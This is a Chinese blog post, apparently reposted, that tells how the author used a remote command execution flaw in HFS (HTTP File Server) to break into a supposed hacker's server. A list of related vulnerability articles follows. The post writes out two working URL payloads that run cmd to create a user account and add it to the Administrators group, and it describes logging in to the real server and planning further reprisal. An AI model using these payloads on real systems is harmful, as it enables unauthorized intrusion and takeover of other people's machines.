HFS远程命令执行漏洞入侵抓鸡黑阔服务器

先来科普一下：

HFS是什么？

hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统，如果您觉得架设FTP Server太麻烦，那么这个软件可以提供您更方便的网络文件传输系统，下载后无须安装，只要解压缩后执行 hfs.exe，于「Virtual File System(虚拟档案系统)」窗格下按鼠标右键，即可新增/移除虚拟档案资料夹，或者直接将欲加入的档案拖曳至此窗口，便可架设完成个人HTTP网络文件服务器。

故事开始了。

今天尼古拉斯四哥在群里发来那么一个IP

打开看了一下。是传说中的抓鸡神器.HFS，如下图所示：

其实HFS有一个命令执行漏洞。

Payload:

http://127.0.0.1/?search==%00{.exec|cmd /c net user DEF DEFHACKER123 /add.}
http://127.0.0.1/?search==%00{.exec|cmd /c net localgroup Administrators DEF /add.}

执行后是这样的效果。

成功登录！

黑客的工具

然后黑客给我发来了一个消息

哈哈，是四哥发的，如果真是管理员早给关了我账户了。礼尚往来的我也给他发了一个。

四哥的恶作剧。

我给后面悄悄加了一句。

本想通过逆向把黑客的马场日穿。然而让四哥逆向弄，弄半天没弄好。改日续集吧。

记得擦屁股否则黑客的DDOS攻击可是很猛烈的。

结束

转载于:https://www.cnblogs.com/xishaonian/p/6218170.html

HFS远程命令执行漏洞入侵抓鸡黑阔服务器相关推荐

HFS远程命令执行漏洞复现
漏洞程序下载地址:Http File Server 这里说一下,在Windows server 2003中复现时,我直接使用Administrator用户登录,然后复现,未出现权限问题.再Window ...
NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析
本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1. 概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...
FastJson远程命令执行漏洞
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
远程命令执行漏洞与远程代码执行漏洞33333
远程命令执行漏洞的概念远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令远程代码执行漏洞概念代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...
DIR-645远程命令执行漏洞
首先我们分析网上公开的exp确定漏洞相关组件及payload,之后通过IDA分析研究漏洞是如何触发的,最后在attifyos中进行模拟,验证漏洞. 本次实验的漏洞是某品牌路由器service.cgi远 ...
CVE-2019-19781 Citrix ADCNetScaler远程命令执行漏洞
未经允许,不得擅自转载,违者必究一.前言 @Adminxe 因为最近在刷edusrc,由此发现这个漏洞,涉及多所高校,所以过来给大家实战POC测试一波,可直接进行命令执行,Citrix产品中的漏洞使 ...
Fastjson远程命令执行漏洞总结
1.FastJson 简介 fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符 ...
webmin远程命令执行漏洞(cve-2019-15107)深入分析
漏洞描述近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...
【注意】关于Redis存在远程命令执行漏洞的安全公告
点击蓝色"程序猿DD"关注我回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...
rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警
报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...

HFS远程命令执行漏洞入侵抓鸡黑阔服务器

HFS远程命令执行漏洞入侵抓鸡黑阔服务器相关推荐

最新文章

热门文章